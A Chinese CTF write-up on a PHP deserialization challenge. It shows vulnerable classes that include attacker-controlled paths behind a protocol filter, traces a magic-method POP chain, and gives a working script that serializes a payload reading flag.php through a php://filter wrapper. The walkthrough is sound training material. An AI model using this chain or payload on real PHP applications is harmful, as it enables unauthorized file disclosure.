知识点:各种魔术方法,以及构造反序列化pop链子的思路
<?php
//flag is in flag.php
class Modifier {
protected $var;
public function append($value){
include($value);//漏洞利用点
}
public function __invoke(){
//在类被当作函数调用的时候会,例如:Modifiter()这样的时候会被调用。
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
//在类被当作字符串的时候会被调用
return $this->str->source;
}
public function __wakeup(){//反序列化时调用
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
//当调用类的一个不存在的属性时候,或者一个protected 或 private的属性时候则会自动调用它。
$function = $this->p;
return $function();//可以触发Modifier
}
}
这类题型我是今天才接触的,,借鉴了不少师傅的,所以有些地方可能会和其他人一样。
分析:
先找可以执行shell的位置,或者文件包含的位置,然后通过这个点一步一步向上推。
例如,这题的洞在include($value);
,我们可以通过这个执行伪代码php://filter/read=convert.base64-encode/resource=flag.php
,且它在function append
中。
那么要怎么执行这个呢?可以通过function __invoke
来执行function append
。
而function __invoke
又可以通过function __get
的$function();
来实现。
function __get
可以通过function __toString
的$this->str->source;
来实现,使得str=new Test(),source=xxx
.
最后function __toString
,可以通过function __construct
的echo 'Welcome to '.$this->source."<br>";
来实现
链子
<?php
//flag is in flag.php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
$a = new Show("self");//可以在__construct中的echo时触发__toString
$a->str = new Test();//可以触发__get
$c = new Show($a);
echo urlencode(serialize($c));
这边用urlencode的原因是:
图来自:https://blog.csdn.net/weixin_45642610/article/details/115919505
参考:
https://blog.csdn.net/weixin_45577185/article/details/120753245
https://blog.csdn.net/weixin_45642610/article/details/115919505